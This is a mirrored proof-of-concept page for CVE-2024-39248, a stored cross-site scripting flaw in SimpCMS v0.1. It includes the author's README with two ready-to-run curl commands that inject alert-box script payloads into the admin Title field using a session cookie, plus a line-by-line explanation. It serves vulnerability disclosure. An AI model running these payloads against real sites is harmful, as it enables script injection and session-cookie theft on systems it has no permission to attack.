CVE-2024-39248 PoC — SimpCMS 安全漏洞

Source

https://github.com/jasonthename/CVE-2024-39248

Associated Vulnerability

Title:SimpCMS 安全漏洞 (CVE-2024-39248)
Description:SimpCMS是JasonJay个人开发者的一个基于 PureEdit 的易于使用的 CMS。 SimpCMS 0.1版本存在安全漏洞，该漏洞源于容易受到跨站脚本攻击，攻击者通过注入到/admin.php的标题字段的精心设计的有效负载执行任意Web脚本或HTML。

Description

Publication for Cross Site Scripting (XSS) in SimpCMS v0.1 - /SimpCMS/admin.php

Readme

## Exploit Title: SimpCMS v0.1 - Cross Site Scripting (XSS)
## CVE: CVE-2024-39248
## Exploit Author: Jason Jacobs (0xjason_jacobs - Twitter)

## Vendor Homepage: https://sourceforge.net/projects/simpcms/
## Vulnerable endpoint: /SimpCMS/admin.php

A cross-site scripting (XSS) vulnerability in SimpCMS v0.1 allows
attackers to execute arbitrary web scripts or HTML via a crafted
payload injected into the Title field at /admin.php.

### Updated cURL command parameters for the SimpCMS version live on SourceForge:

Upon logging in to the admin interface for SimpCMS, copy your respective Cookie values observed in the Application tab in the browser Inspect element and submit the following curl request:

> curl -X POST "http://site.com/SimpCMS/admin/index.php" -d "title=<script>alert(document.cookie)</script>&abbrev=random&newSector=" -b "PHPSESSID=c4v4tjh5fpv4po3k5dp5mrb8r0"

![command](command.png)

![poc](poc.png)


### Parameters from the initial CVE submission (Same exploit works):

The initial parameters observed for the SimpCMS software resulted in the following cURL command but was later updated:

> curl -X POST "http://site.com/SimpCMS/admin.php" -d "title=%3Cbody+onload%3Dalert%281%29%3E&text=ee&cat=something&main=1&submit=submit" -b "username=admin; password=PARAMVALUE"

Explanation:
> - curl: The command-line tool for transferring data with URLs.
> - -X POST: Specifies the request method to use (POST).
> - "http://site.com/SimpCMS/admin.php": The URL to which the request is sent.
> - -d "title=<script>alert(document.cookie)</script>&abbrev=random&newSector=" -b "PHPSESSID=c4v4tjh5fpv4po3k5dp5mrb8r0" - The POST request payload.

Run this command in your terminal to send the POST request with the XSS payload.
Visit the /SimpCMS main site and the XSS will be visible.

CWE: https://cwe.mitre.org/data/definitions/79.html

File Snapshot


 [4.0K]  /data/pocs/b84215e1fe943c8902deb987f280e35327388c23
├── [ 55K]  command.png
├── [ 31K]  poc.png
└── [1.8K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!